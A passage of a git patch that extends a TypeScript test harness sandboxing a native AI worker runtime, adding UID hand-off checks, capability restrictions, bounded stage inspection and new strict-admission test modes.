plan=nativeUnknownBoundary(${JSON.stringify(argv)}),child=Bun.spawn(plan.argv,{env:plan.env,stdout:"pipe",stderr:"pipe"});const errors=(async()=>{let text="";for await(const chunk of child.stderr){text+=new TextDecoder().decode(chunk);process.stderr.write(chunk);}return text;})();const [code,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),errors]);console.log(JSON.stringify({code,out,err}));process.exitCode=code;`; + const child=spawnGuardFixture([process.execPath,"-e",code],{timeout:watchdogMs(30000)});const [exit,out,err]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]); + if(mode==="stub"){expect(exit,"UID_HANDOFF_NATIVE_PATH_IS_MASKED").not.toBe(0);expect(err,"UID_HANDOFF_EXEC_REACHES_STUB").toContain("Offline native runtime refused by tripwire");expect(err).not.toContain("setpriv:");continue;} + expect(out,"UID_HANDOFF_DRIVER_REPORT "+mode+" "+err).not.toBe(""); + const result=JSON.parse(out.trim().split("\n").at(-1)!) as {code:number;out:string;err:string}; + if(mode==="parity"){ + expect(exit,"UID_HANDOFF_REACHES_PRODUCT_POOL_BOUNDARY "+err+result.err).toBe(0); + expect(JSON.parse(result.out),"UID_GID_GROUPS_CAPS_AND_POOL_SIGNAL_EQUAL_MAIN").toEqual(expected); + expect(result.err).not.toContain("setpriv:"); + }else if(mode==="one-byte"){ + expect(exit,"UNPROVEN_HANDOFF_CANNOT_CHANGE_UID").not.toBe(0); + expect(result.err,"UNPROVEN_HANDOFF_FAILS_AT_SETPRIV").toContain("setpriv: setresuid failed: Operation not permitted"); + expect(result.out).toBe(""); + } + } + } + console.log(JSON.stringify({kind:"uid-handoff-proof",rows:2,uid:1001,gid:1000,capabilities:"zero",poolSignal:"ENOENT",native:"tripwire",nearMiss:"setpriv-EPERM"})); +} diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index 91165ca624..4943657a3d 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -1313,7 +1313,7 @@ export function registerNativeFixtureKeeper(storage: FixtureKeeper): () => void /** Copy only bounded manager-reader bytes, never directly open the worker-private tree. */ export async function captureNativeFixtureStage(manager:Pick,"listStage"|"statStage"|"readStage">,id:string,uid:number,maximum:number,snapshot:string):Promise> { let count=0,total=0;const stamps=new Map(); - const root=await manager.statStage(id,"",uid);if(!root||root.kind!=="directory")throw Error("Stage inspection root unavailable");stamps.set("",root.stamp); + if(!Number.isSafeInteger(maximum)||maximum<=0)throw Error("Invalid stage inspection bound"); const walk=async(relative:string,depth:number):Promise=>{ if(depth>256)throw Error("Stage inspection depth exceeded"); @@ -1340,7 +1340,7 @@ export async function captureNativeFixtureStage(manager:Pick(); const ordinaryManagedStages=new WeakMap(); @@ -1359,18 +1359,24 @@ export function registerNativeFixtureMaintenanceGit(storage:object,view:object,s /** Metadata only; bytes are copied by the ordinary same-UID inspection path. */ function ordinaryStageManifest(root:string,maximum:number):string { const rows:string[]=[];let entries=0,bytes=0; + if(!Number.isSafeInteger(maximum)||maximum<=0)throw Error("Invalid stage inspection bound"); const visit=(path:string)=>{ if(++entries>200000)throw Error("Stage inspection entry bound exceeded"); const info=lstatSync(path,{bigint:true}); if(!info.isDirectory()&&!info.isFile()&&!info.isSymbolicLink())throw Error("Unsupported stage node"); if(info.isFile()){bytes+=Number(info.size);if(bytes>maximum)throw Error("Stage inspection byte bound exceeded");} - rows.push(`${path.slice(root.length)}:${info.dev}:${info.ino}:${info.mode}:${info.size}:${info.mtimeNs}:${info.ctimeNs}:${info.isFile()?createHash("sha256").update(readFileSync(path)).digest("hex"):""}`); + let hash=""; + if(info.isFile()){ + const fd=openSync(path,constants.O_RDONLY|constants.O_NOFOLLOW|constants.O_NONBLOCK); + try{const opened=fstatSync(fd,{bigint:true});if(opened.dev!==info.dev||opened.ino!==info.ino||opened.size!==info.size)throw Error("Stage file changed");hash=createHash("sha256").update(readFileSync(fd)).digest("hex");const after=fstatSync(fd,{bigint:true});if(after.size!==info.size||after.mtimeNs!==info.mtimeNs||after.ctimeNs!==info.ctimeNs)throw Error("Stage file changed");}finally{closeSync(fd);} + } + rows.push(`${path.slice(root.length)}:${info.dev}:${info.ino}:${info.mode}:${info.size}:${info.mtimeNs}:${info.ctimeNs}:${hash}`); if(info.isDirectory())for(const name of readdirSync(path).sort())visit(join(path,name)); }; visit(root);return JSON.stringify(rows); } /** Only a fixture's real acquired native output can declare this remote keeper. */ -export async function registerNativeFixtureManagedKeeper(storage:import("../packages/ui-sdk/src/server/worker-native-output").WorkerOutputStorage,view:import("../packages/ui-sdk/src/server/worker-startup-view").WorkerStartupView):Promise<()=>void> { +export async function registerNativeFixtureManagedKeeper(storage:import("../packages/ui-sdk/src/server/worker-native-output").WorkerOutputStorage,view:import("../packages/ui-sdk/src/server/worker-startup-view").WorkerStartupView,areas:readonly string[]=[]):Promise<()=>void> { const scope=scriptedRoute.getStore(),brain=view.brain,expected=join(dirname(brain),".brain-native","stages");let closed=false; if(typeof storage.namespaceStart!=="string"||!storage.namespaceStart)refuse("managed fixture keeper provenance is unavailable"); if(usedManagedKeepers.has(storage))refuse("managed fixture keeper registration was already used"); @@ -1433,10 +1439,19 @@ export async function registerNativeFixtureManagedKeeper(storage:import("../pack try{ stamp=fstatSync(ticket.fd);if(!stamp.isFile()||stamp.uid!==0||stamp.nlink!==0||stamp.size>65536||(stamp.mode&0o777)!==0o444)throw Error("Invalid sealed stage authority"); ticketBytes=readFileSync(`/proc/self/fd/${ticket.fd}`);if(!attested())throw Error("Stage authority differs"); - stageStamps=await captureNativeFixtureStage(native.manager,id,uid,storage.allowanceBytes!,snapshot); + const rootBefore=lstatSync(join(storage.root,"merged"),{bigint:true}); + const rootStamp=`${rootBefore.ino}:${rootBefore.size}:${rootBefore.mtimeNs}:${rootBefore.ctimeNs}`; + stageStamps=new Map([["",rootStamp],...await captureNativeFixtureStage(native.manager,id,uid,storage.allowanceBytes!,snapshot)]); if(!attested())throw Error("Stage authority expired during inspection"); }catch{ticket.close();rmSync(snapshot,{recursive:true,force:true});return refuse("managed fixture keeper snapshot is unavailable");} let unregister:()=>void;try{unregister=registerFixtureKeeper(storage as FixtureKeeper,attested,snapshot);}catch(error){ticket.close();rmSync(snapshot,{recursive:true,force:true});if(String(error).includes("Offline native Claude refused before launch:"))throw error;refuse("managed fixture keeper provenance is unavailable",{sourceKind:"product-keeper",targetKind:"runtime-or-fixture",metadataError:"UNKNOWN"});} + try{ + for(const area of areas){ + if(!area||isAbsolute(area)||resolve("/",area)!=="/"+area)throw Error("Noncanonical fixture area"); + const path=realpathSync(join(snapshot,area));if(!within(snapshot,path)||!lstatSync(path).isDirectory())throw Error("Fixture area outside snapshot"); + fixtureKeepers.get(storage.namespacePid)!.bindSources.set(join(storage.mount,"merged",area),path); + } + }catch{unregister();ticket.close();return refuse("managed fixture keeper area is unavailable");} usedManagedKeepers.add(storage);return ()=>{closed=true;try{unregister();}finally{ticket.close();rmSync(snapshot,{recursive:true,force:true});}}; } function registerFixtureKeeper(storage: FixtureKeeper, managed?:()=>boolean, managedSnapshot?:string,ordinaryStage?:()=>boolean): () => void { @@ -1833,6 +1848,23 @@ function unknownBwrapPayload(command:readonly string[],at:number):number { } return refuse("restriction cannot be enforced"); } +/** The fixed terminal credential hand-off, discovered from the real proof. */ +export function nativeProductUidHandoffs():string[][] { + const source=readFileSync(join(ROOT,"scripts/native-proof/reference-pool.native.ts"),"utf8"); + const rows=[...source.matchAll(/"--", ("\/usr\/bin\/setpriv", (?:"[^"]+", )+)script\]/g)]; + if(rows.length!==2)throw Error("Product UID hand-off unavailable"); + return rows.map(row=>{const words:unknown=JSON.parse("["+row[1]!.replace(/, $/,"")+"]"); + if(!Array.isArray(words)||words.length!==6||words[0]!=="/usr/bin/setpriv"||!/^--reuid=[1-9][0-9]*$/.test(words[1])||!/^--regid=[1-9][0-9]*$/.test(words[2])||!["--clear-groups","--groups=0"].includes(words[3])||words[4]!=="/bin/sh"||words[5]!=="-c")throw Error("Product UID hand-off changed"); + return words;}); +} +function unknownProductCapabilities(payload:readonly string[]):string[] { + const denied=["--cap-drop","ALL"]; + if(payload.length!==7||payload[0]!=="/usr/bin/setpriv")return denied; + if(nativeKernelIdentity().uid!==0||readFileSync("/proc/self/uid_map","utf8").trim().split(/\s+/).join(" ")!=="0 0 4294967295")return denied; + let allowed=false;try{allowed=nativeProductUidHandoffs().some(prefix=>payload.length===prefix.length+1&&prefix.every((word,i)=>payload[i]===word));}catch{/* Unproven hand-offs keep every capability dropped. */} + return allowed + ?[...denied,"--cap-add","CAP_SETUID","--cap-add","CAP_SETGID"]:denied; +} const TRIPWIRE_SETUP_RECORD='{"kind":"native-offline-boundary","success":false,"nativeLaunched":false,"reason":"restriction cannot be enforced"}\n'; const TRIPWIRE_RECORD='{"kind":"native-offline-boundary","success":false,"nativeLaunched":false,"reason":"installed native runtime blocked by tripwire"}\n'; interface TripwireRuntime {directory:string;stub:string;eventTarget:string;installer:string;supervisor:string} @@ -1989,7 +2021,7 @@ export function nativeUnknownBoundary(command:readonly string[],options:SpawnCon const separator=unknownBwrapPayload(argv,at);if(argv[separator]!=="--")argv.splice(separator,0,"--");if(separator!==argv.indexOf("--",at))refuse("restriction cannot be enforced"); const originalRemounts=preserveProductPlan?[]:deferNativeReadOnlyRemounts(argv,at),end=argv.indexOf("--",at); if(preserveProductPlan&&!argv.some((arg,index)=>arg==="--cap-drop"&&argv[index+1]==="ALL"))refuse("restriction cannot be enforced"); - argv.splice(end,0,...mounts,...(preserveProductPlan?[]:["--cap-drop","ALL"]),...originalRemounts); + argv.splice(end,0,...mounts,...(preserveProductPlan?[]:unknownProductCapabilities(argv.slice(end+1))),...originalRemounts); // Keep diagnostic tooling outside the product view. A private /tmp may // hide a locally installed tracer, while the actual payload still sees masks. argv=[...tracePrefix,...argv]; diff --git a/tests/helpers/native-managed-proof.ts b/tests/helpers/native-managed-proof.ts new file mode 100644 index 0000000000..c3f6ef7fcd --- /dev/null +++ b/tests/helpers/native-managed-proof.ts @@ -0,0 +1,26 @@ +/** Observe the real managed allocator; keep its identity and publication logic. */ +import {spyOn} from "bun:test"; +import * as output from "../../packages/ui-sdk/src/server/worker-native-output"; +import {registerNativeFixtureManagedKeeper,nativeScriptedService} from "../../scripts/test-native-guard"; +import {existsSync} from "node:fs"; + +export function observeNativeProofStages():()=>void { + const prepare=output.prepareNativeWorkerOutput,releases=new Set<()=>void>(); + const observer=spyOn(output,"prepareNativeWorkerOutput").mockImplementation(async(...args)=>{ + const prepared=await prepare(...args);let unregister:()=>void; + try{unregister=await registerNativeFixtureManagedKeeper(prepared.output.storage,prepared.view,args[1].areas??[]);}catch(error){await prepared.cleanup();throw error;} + const release=()=>{releases.delete(release);unregister();};releases.add(release); + const cleanup=prepared.cleanup.bind(prepared);let closing:Promise|undefined; + prepared.cleanup=()=>closing??=(async()=>{try{await cleanup();}finally{release();}})(); + return prepared; + }); + return ()=>{observer.mockRestore();for(const release of [...releases])release();}; +} + +/** Keyless manager controls have no model service; pin their fixture lifetime. */ +export async function withNativeProofStages(brain:string,run:()=>Promise):Promise { + const server=Bun.serve({hostname:"127.0.0.1",port:0,fetch:()=>new Response(null,{status:400})}); + const leave=nativeScriptedService(server.url.origin,{fixtureRoots:[brain,...["/identity-fixture","/identity-server-private"].filter(existsSync)]}); + const close=observeNativeProofStages(); + try{return await run();}finally{try{close();}finally{leave();server.stop(true);}} +} diff --git a/tests/native-managed-inspection.test.ts b/tests/native-managed-inspection.test.ts index e9bacfa709..b69e6f82a2 100644 --- a/tests/native-managed-inspection.test.ts +++ b/tests/native-managed-inspection.test.ts @@ -9,7 +9,7 @@ for(const mode of ["valid","wrong-uid","wrong-bytes","changed","outside","unsupp const root=mkdtempSync("/tmp/odysseus-stage-inspection-"); const metadata={path:mode==="outside"?"../loom.md":"loom.md",kind:mode==="unsupported"?"other":"file",mode:0o600,bytes:7,stamp:"fixed",inode:"1"}; let reads=0; - const manager={async listStage(){return [metadata];},async statStage(_id:string,path:string){if(path==="")return {path:"",kind:"directory",stamp:"root"};return {...metadata,...(mode==="changed"&&++reads>1?{stamp:"changed"}:{})};},async readStage(){return {workerUid:21002,stream:new ReadableStream({start(c){c.enqueue(Buffer.from("Ithaca\n"));c.close();}}),completed:Promise.resolve({workerUid:mode==="wrong-uid"?21001:21002,bytes:mode==="wrong-bytes"?6:7})};}}; + const manager={async listStage(){return [metadata];},async statStage(_id:string,path:string){if(path==="")throw Error("ROOT_METADATA_API_IS_NOT_A_CAPABILITY");return {...metadata,...(mode==="changed"&&++reads>1?{stamp:"changed"}:{})};},async readStage(){return {workerUid:21002,stream:new ReadableStream({start(c){c.enqueue(Buffer.from("Ithaca\n"));c.close();}}),completed:Promise.resolve({workerUid:mode==="wrong-uid"?21001:21002,bytes:mode==="wrong-bytes"?6:7})};}}; try{ const work=captureNativeFixtureStage(manager as never,"00000000-0000-4000-8000-000000000000",21002,mode==="over-bound"?6:1024,root); if(mode==="valid"){await work;expect(readFileSync(join(root,"loom.md"),"utf8"),"PRIVATE_READER_BYTES_INSPECTED").toBe("Ithaca\n");} diff --git a/tests/native-strict-admission.test.ts b/tests/native-strict-admission.test.ts index 92d699569a..13f5dafcb4 100644 --- a/tests/native-strict-admission.test.ts +++ b/tests/native-strict-admission.test.ts @@ -21,7 +21,7 @@ test("managed keeper readiness waits past an empty published file",async()=>{ }finally{clearTimeout(publish);rmSync(root,{recursive:true,force:true});} }); -const modes=["managed-ordinary-git-complete","managed-ordinary-git-wrong-view","managed-ordinary-git-wrong-source","managed-ordinary-git-stale","managed-ordinary-git-after-close","managed-ordinary-complete","managed-ordinary-stale","managed-ordinary-namespace","managed-ordinary-path","managed-ordinary-argument","managed-ordinary-write","managed-ordinary-write-before-launch","managed-candidate-complete","managed-candidate-stale","managed-candidate-namespace","managed-candidate-path","managed-candidate-argument","managed-candidate-write","managed-candidate-write-before-launch","managed-snapshot-reuse","managed-ticket-owner","managed-ticket-before-launch","ordinary-other-owner","tree-inherited-released","managed-complete","managed-wrong-checkpoint","managed-fd-before-launch","managed-owner-released","managed-owner-before-launch","managed-reuse","managed-other-scope","managed-start","managed-namespace","managed-fd","managed-root","managed-unmanaged","managed-observed-unmanaged","complete","checkpoint-only","checkpoint-released","checkpoint-released-before-launch","forged","released","release-before-launch","alias","dotdot","writable","wrong-target","wrong-brain","duplicate","tree-declare-parent","tree-wrong-brain","tree-swapped","tree-alias","tree-outside","tree-parent","tree-replaced","tree-released"]; +const modes=["managed-candidate-area-complete","managed-candidate-area-sibling","managed-candidate-area-write","managed-ordinary-git-complete","managed-ordinary-git-wrong-view","managed-ordinary-git-wrong-source","managed-ordinary-git-stale","managed-ordinary-git-after-close","managed-ordinary-complete","managed-ordinary-stale","managed-ordinary-namespace","managed-ordinary-path","managed-ordinary-argument","managed-ordinary-write","managed-ordinary-write-before-launch","managed-candidate-complete","managed-candidate-stale","managed-candidate-namespace","managed-candidate-path","managed-candidate-argument","managed-candidate-write","managed-candidate-write-before-launch","managed-snapshot-reuse","managed-ticket-owner","managed-ticket-before-launch","ordinary-other-owner","tree-inherited-released","managed-complete","managed-wrong-checkpoint","managed-fd-before-launch","managed-owner-released","managed-owner-before-launch","managed-reuse","managed-other-scope","managed-start","managed-namespace","managed-fd","managed-root","managed-unmanaged","managed-observed-unmanaged","complete","checkpoint-only","checkpoint-released","checkpoint-released-before-launch","forged","released","release-before-launch","alias","dotdot","writable","wrong-target","wrong-brain","duplicate","tree-declare-parent","tree-wrong-brain","tree-swapped","tree-alias","tree-outside","tree-parent","tree-replaced","tree-released"]; for(const label of modes)test(`strict native product plan admission: ${label}`,async()=>{ const ordinary=label.startsWith("managed-ordinary-"),mode=ordinary?label.replace("managed-ordinary-","managed-candidate-"):label; const root=mkdtempSync("/tmp/odysseus-strict-admission-"); @@ -80,11 +80,12 @@ let plan,output,undeclare,otherView,inheritedLeave,storage,unregister;try{ const originalFstat=fs.fstatSync;spyOn(fs,"fstatSync").mockImplementation((fd,...args)=>{const info=originalFstat(fd,...args);return fd===ticketFd?{...info,uid:mode==="managed-ticket-owner"?1:0,nlink:0,mode:0o100444,isFile:()=>true}:info;}); spyOn(launcher,"verifiedWorkerIdentity").mockReturnValue(${JSON.stringify(ordinary)}?undefined:{identity:"separate_uid",workerUid:uid}); if(mode.startsWith("managed-candidate-"))fs.writeFileSync(join(storage.root,"merged/candidate.md"),"Ithaca"); + if(mode.startsWith("managed-candidate-area-")){fs.mkdirSync(join(storage.root,"merged/unregistered"));fs.writeFileSync(join(storage.root,"merged/workspaces/candidate.md"),"Ithaca");} const metadata=path=>{const info=fs.lstatSync(join(storage.root,"merged",path),{bigint:true});return {path,kind:info.isDirectory()?"directory":info.isFile()?"file":"other",mode:Number(info.mode&0o777n),bytes:Number(info.size),stamp:String(info.ino)+":"+String(info.size)+":"+String(info.mtimeNs)+":"+String(info.ctimeNs),inode:String(info.ino)};}; manager.attestStage=async()=>({fd:ticketFd,close(){try{fs.closeSync(ticketFd);}catch{}}}); manager.listStage=async(id,path)=>fs.readdirSync(join(storage.root,"merged",path)).map(name=>metadata(path?path+'/'+name:name));manager.statStage=async(id,path)=>metadata(path); manager.readStage=async(id,path,maximum,workerUid)=>{const bytes=fs.readFileSync(join(storage.root,"merged",path));return {workerUid,stream:new ReadableStream({start(c){c.enqueue(bytes);c.close();}}),completed:Promise.resolve({bytes:bytes.length,workerUid})};}; - unregister=await registerNativeFixtureManagedKeeper(storage,["managed-unmanaged","managed-observed-unmanaged"].includes(mode)?{...view}:view); + unregister=await registerNativeFixtureManagedKeeper(storage,["managed-unmanaged","managed-observed-unmanaged"].includes(mode)?{...view}:view,mode.startsWith("managed-candidate-area-")?["workspaces"]:[]); if(mode==="managed-reuse"){unregister();await registerNativeFixtureManagedKeeper(storage,view);} if(mode==="managed-other-scope")nativeScriptedService(server.url.origin,{fixtureRoots:[brain,]}); }else{ @@ -109,6 +110,8 @@ let plan,output,undeclare,otherView,inheritedLeave,storage,unregister;try{ const {WORKER_FILESYSTEM_FILTER_PROGRAM}=await import(${JSON.stringify(join(repo,"packages/ui-sdk/src/server/worker-filesystem-filter.ts"))}); argv=["/usr/bin/python3","-I","-S","-c",WORKER_FILESYSTEM_FILTER_PROGRAM,...argv]; let candidate=join(storage.mount,"merged"); + if(mode.startsWith("managed-candidate-area-"))candidate=join(candidate,mode==="managed-candidate-area-sibling"?"unregistered":"workspaces"); + if(mode==="managed-candidate-area-write")fs.writeFileSync(join(storage.root,"merged/workspaces/candidate.md"),"Scheria"); if(mode.startsWith("managed-candidate-git-")){ const {registerNativeFixtureMaintenanceGit}=await import(${JSON.stringify(join(repo,"scripts/test-native-guard.ts"))}); const source=join(storage.root,"git-adapter");fs.mkdirSync(source);fs.writeFileSync(join(source,"config.json"),"{}"); @@ -126,7 +129,7 @@ let plan,output,undeclare,otherView,inheritedLeave,storage,unregister;try{ if(mode==="managed-candidate-write")fs.writeFileSync(join(storage.root,"merged/candidate.md"),"Scheria"); const {isNativeClaude}=await import(${JSON.stringify(join(repo,"scripts/test-native-guard.ts"))}); if(isNativeClaude(probe[0],probe.slice(1)))throw Error("HARMLESS_MANAGED_CHAIN_MUST_NOT_BECOME_NATIVE"); - if(!["managed-candidate-complete","managed-candidate-write-before-launch","managed-candidate-git-complete"].includes(mode))throw Error("UNSAFE_STRICT_PLAN_ADMITTED:"+mode); + if(!["managed-candidate-complete","managed-candidate-write-before-launch","managed-candidate-git-complete","managed-candidate-area-complete"].includes(mode))throw Error("UNSAFE_STRICT_PLAN_ADMITTED:"+mode); if(!isNativeClaude(runtime))throw Error("SELECTED_NATIVE_MUST_STILL_BE_DETECTED"); fs.chmodSync(storage.mount,0o700); } @@ -138,7 +141,7 @@ let plan,output,undeclare,otherView,inheritedLeave,storage,unregister;try{ if(mode==="managed-ticket-before-launch")fs.writeFileSync(join(root,"manager-stage-authority"),"changed"); if(mode==="managed-candidate-write-before-launch")fs.writeFileSync(join(storage.root,"merged/candidate.md"),"Scheria"); plan.beforeLaunch(); - if(mode!=="complete"&&mode!=="checkpoint-only"&&mode!=="managed-complete"&&mode!=="managed-snapshot-reuse"&&mode!=="managed-candidate-complete"&&mode!=="managed-candidate-git-complete")throw Error("UNSAFE_STRICT_PLAN_ADMITTED:"+mode); + if(mode!=="complete"&&mode!=="checkpoint-only"&&mode!=="managed-complete"&&mode!=="managed-snapshot-reuse"&&mode!=="managed-candidate-complete"&&mode!=="managed-candidate-git-complete"&&mode!=="managed-candidate-area-complete")throw Error("UNSAFE_STRICT_PLAN_ADMITTED:"+mode); const guarded=JSON.parse(plan.env.BRAIN_WORKER_LAUNCH).argv; if(!guarded.includes("--unshare-net")||!guarded.some((v,i)=>v==="--dev"&&guarded[i+1]==="/dev")||!guarded.includes("/run/brain-egress/proxy.sock")||!guarded.some((v,i)=>v==="--ro-bind"&&guarded[i+1]==="/dev/null"&&guarded[i+2]===join(brain,".env")))throw Error("STRICT_DEVICES_AND_PINNED_TRANSPORT_MISSING"); // Metadata-only audit completion: no installed runtime is executed in this proof. @@ -153,7 +156,7 @@ let plan,output,undeclare,otherView,inheritedLeave,storage,unregister;try{ `); const child=spawnGuardFixture([process.execPath,file],{env:{...process.env},timeout:watchdogMs(20000)}); const [code,out,receipts]=await Promise.all([child.exited,new Response(child.stdout).text(),child.guardOutput()]);const err=receipts; - if(mode==="complete"||mode==="checkpoint-only"||mode==="managed-complete"||mode==="managed-candidate-complete"||mode==="managed-candidate-git-complete"){expect(code,"STRICT_COMPLETE_PRODUCT_PLAN "+err+receipts).toBe(0);expect(out).toContain("STRICT_PLAN_ALL_BINDS_ADMITTED");} - else{if(["managed-candidate-stale","managed-candidate-namespace","managed-candidate-path","managed-candidate-argument"].includes(mode))expect(receipts,"UNATTESTED_PRIVATE_DIRECTORY_CANNOT_SKIP_METADATA").toContain("native executable metadata is unavailable");expect(code,"STRICT_ROLE_REFUSES "+mode+" "+out).not.toBe(0);expect(err+receipts,"EXPECTED_ROLE_REFUSAL "+mode).not.toContain("UNSAFE_STRICT_PLAN_ADMITTED");if(mode==="managed-snapshot-reuse")expect(receipts,"REUSE_REFUSAL_AFTER_SUCCESSFUL_SETUP").toContain("managed fixture keeper snapshot was already used");expect(err+receipts,"ROLE_REFUSAL_IS_THE_CLAIMED_CAUSE "+mode).toMatch(/native checkpoint bind|native fixture turn data declaration unavailable|worker bind was not created or staged by the fixture|fixture keeper|managed fixture keeper|ordinary managed fixture Git|native executable metadata is unavailable/);if(["checkpoint-released","checkpoint-released-before-launch","forged","writable","wrong-target","duplicate"].includes(mode))expect(receipts,"CHECKPOINT_FAILURE_NAMES_FIXED_PRODUCT_ROLE").toContain('"sourceKind":"product-checkpoint"');} + if(mode==="complete"||mode==="checkpoint-only"||mode==="managed-complete"||mode==="managed-candidate-complete"||mode==="managed-candidate-git-complete"||mode==="managed-candidate-area-complete"){expect(code,"STRICT_COMPLETE_PRODUCT_PLAN "+err+receipts).toBe(0);expect(out).toContain("STRICT_PLAN_ALL_BINDS_ADMITTED");} + else{if(["managed-candidate-stale","managed-candidate-namespace","managed-candidate-path","managed-candidate-argument","managed-candidate-area-sibling"].includes(mode))expect(receipts,"UNATTESTED_PRIVATE_DIRECTORY_CANNOT_SKIP_METADATA").toContain("native executable metadata is unavailable");expect(code,"STRICT_ROLE_REFUSES "+mode+" "+out).not.toBe(0);expect(err+receipts,"EXPECTED_ROLE_REFUSAL "+mode).not.toContain("UNSAFE_STRICT_PLAN_ADMITTED");if(mode==="managed-snapshot-reuse")expect(receipts,"REUSE_REFUSAL_AFTER_SUCCESSFUL_SETUP").toContain("managed fixture keeper snapshot was already used");expect(err+receipts,"ROLE_REFUSAL_IS_THE_CLAIMED_CAUSE "+mode).toMatch(/native checkpoint bind|native fixture turn data declaration unavailable|worker bind was not created or staged by the fixture|fixture keeper|managed fixture keeper|ordinary managed fixture Git|native executable metadata is unavailable/);if(["checkpoint-released","checkpoint-released-before-launch","forged","writable","wrong-target","duplicate"].includes(mode))expect(receipts,"CHECKPOINT_FAILURE_NAMES_FIXED_PRODUCT_ROLE").toContain('"sourceKind":"product-checkpoint"');} }finally{if(mode.startsWith("managed-candidate-"))try{chmodSync(join(root,".brain-native/stages/22222222-2222-4222-8222-222222222222"),0o700);}catch{}rmSync(root,{recursive:true,force:true});} }); From 577eac46e16f54e0b267dd50899e86854b69471c Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Mon, 23 Nov 2026 09:29:25 +0000 Subject: [PATCH 127/187] fix(test): reuse pinned fixture findings with complete launch checks --- scripts/diagram-export-source.mjs | 2 +- scripts/native-opaque-stage.ts | 38 ++ scripts/native-stage-metadata-channel.py | 113 ++++ scripts/native-stage-metadata-channel.ts | 28 + scripts/native-stage-metadata-check.ts | 31 + scripts/native-test-receipts.ts | 5 + scripts/test-native-guard.ts | 591 +++++++++++++++--- tests/experiment-tier.test.ts | 2 +- tests/helpers/native-managed-proof.ts | 34 +- .../helpers/native-stage-metadata-fixture.ts | 39 ++ tests/helpers/test-invocation-fixture.ts | 2 +- tests/helpers/unit-worker-fixture.ts | 2 +- tests/local-checks.test.ts | 2 +- tests/native-guard-copy-closure.test.ts | 2 +- tests/native-managed-inspection.test.ts | 150 ++++- tests/native-offline-boundary.test.ts | 12 +- tests/native-policy-artifact.test.ts | 2 +- tests/native-qualification-paths.test.ts | 2 +- tests/test-determinism.test.ts | 2 +- tests/test-script.test.ts | 2 +- tests/test-shards.test.ts | 2 +- tests/workspace-lease.test.ts | 2 +- 22 files changed, 956 insertions(+), 109 deletions(-) create mode 100644 scripts/native-opaque-stage.ts create mode 100644 scripts/native-stage-metadata-channel.py create mode 100644 scripts/native-stage-metadata-channel.ts create mode 100644 scripts/native-stage-metadata-check.ts create mode 100644 tests/helpers/native-stage-metadata-fixture.ts diff --git a/scripts/diagram-export-source.mjs b/scripts/diagram-export-source.mjs index cf01e7f191..bf16d3efc2 100644 --- a/scripts/diagram-export-source.mjs +++ b/scripts/diagram-export-source.mjs @@ -5,7 +5,7 @@ import {dirname,join,resolve} from "node:path"; import {diagramInstallationIdentity} from "./diagram-export-installation.mjs"; const workspaceNames=Object.freeze({common:"@schlessera/brain-common",core:"@schlessera/brain",geo:"@schlessera/brain-geo","module-diagrams":"@schlessera/brain-module-diagrams","render-template":"@schlessera/brain-render-template","ui-render-puppeteer":"@schlessera/brain-render-puppeteer"}); export const diagramSourceDomains=Object.freeze(Object.keys(workspaceNames)); -export const diagramSourceSetup=Object.freeze(["package.json","bun.lock","tsconfig.json","bunfig.toml","scripts/test-network-child-preload.ts","scripts/test-network-guard.ts","scripts/test-native-guard.ts","scripts/native-test-receipts.ts","scripts/native-exec-trace.ts", "scripts/native-runtime-pin.ts", "scripts/native-launch-ready.ts", "scripts/test-deadlines.ts", "scripts/native-title-collector.ts", "scripts/native-shared-audit.ts","scripts/native-device-diagnostics.ts","scripts/workspace-lease.mjs","scripts/diagram-export-source.mjs","scripts/diagram-export-source.d.mts","scripts/prepare-diagram-export-source.mjs","scripts/prepare-diagram-export-source.d.mts","scripts/visual.mjs","scripts/diagram-export-installation.mjs","scripts/diagram-export-installation.d.mts","scripts/diagram-export-producer.mjs","scripts/diagram-export-producer.d.mts"]); +export const diagramSourceSetup=Object.freeze(["package.json","bun.lock","tsconfig.json","bunfig.toml","scripts/test-network-child-preload.ts","scripts/test-network-guard.ts","scripts/test-native-guard.ts","scripts/native-test-receipts.ts","scripts/native-exec-trace.ts", "scripts/native-runtime-pin.ts", "scripts/native-opaque-stage.ts", "scripts/native-stage-metadata-channel.ts", "scripts/native-launch-ready.ts", "scripts/test-deadlines.ts", "scripts/native-title-collector.ts", "scripts/native-shared-audit.ts","scripts/native-device-diagnostics.ts","scripts/workspace-lease.mjs","scripts/diagram-export-source.mjs","scripts/diagram-export-source.d.mts","scripts/prepare-diagram-export-source.mjs","scripts/prepare-diagram-export-source.d.mts","scripts/visual.mjs","scripts/diagram-export-installation.mjs","scripts/diagram-export-installation.d.mts","scripts/diagram-export-producer.mjs","scripts/diagram-export-producer.d.mts"]); export const isDiagramSource=path=>diagramSourceSetup.includes(path)||diagramSourceDomains.some(name=>path.startsWith(`packages/${name}/`)); const digest=bytes=>createHash("sha256").update(bytes).digest("hex"); const archivePath=repo=>join(repo,"tmp/diagram-export-source.json"); diff --git a/scripts/native-opaque-stage.ts b/scripts/native-opaque-stage.ts new file mode 100644 index 0000000000..134b0847b8 --- /dev/null +++ b/scripts/native-opaque-stage.ts @@ -0,0 +1,38 @@ +/** Test-side evidence for an unknown node the fixed worker cannot read or execute. */ +import {lstatSync,openSync,closeSync,readFileSync,fstatSync} from "node:fs"; +export type OpaqueStageNode={path:string;kind:"file"|"directory";stamp:string;identity:string}; +export type OpaqueStageEvidence={uid:number;gid:number;mode:number;nlink:string;dev:string;ino:string;mountId:string;rootMountId:string;stamp:string;kind:string;worker:{uid:number;gid:number;mode:number;nlink:string;dev:string;ino:string;mountId:string;rootMountId:string;stamp:string;kind:string;errno:number;readerUid:number;readerGids:number[]}}; +export type StageReaderIdentity={uid:number;gids:readonly number[];root:string;forbidden:readonly string[];inspect?(relative:string,stamp:string,inode:string):OpaqueStageEvidence}; +export function verifyStageMetadataEvidence(evidence:OpaqueStageEvidence,reader:Pick,kind:string,stamp:string,errnos:readonly number[]=[13]):void { + const keys="dev,gid,ino,kind,mode,mountId,nlink,rootMountId,stamp,uid",worker=evidence.worker; + if(Object.keys(evidence).sort().join(",")!==keys+",worker"||!worker||Object.keys(worker).sort().join(",")!=="dev,errno,gid,ino,kind,mode,mountId,nlink,readerGids,readerUid,rootMountId,stamp,uid")throw Error("Stage metadata schema mismatch"); + 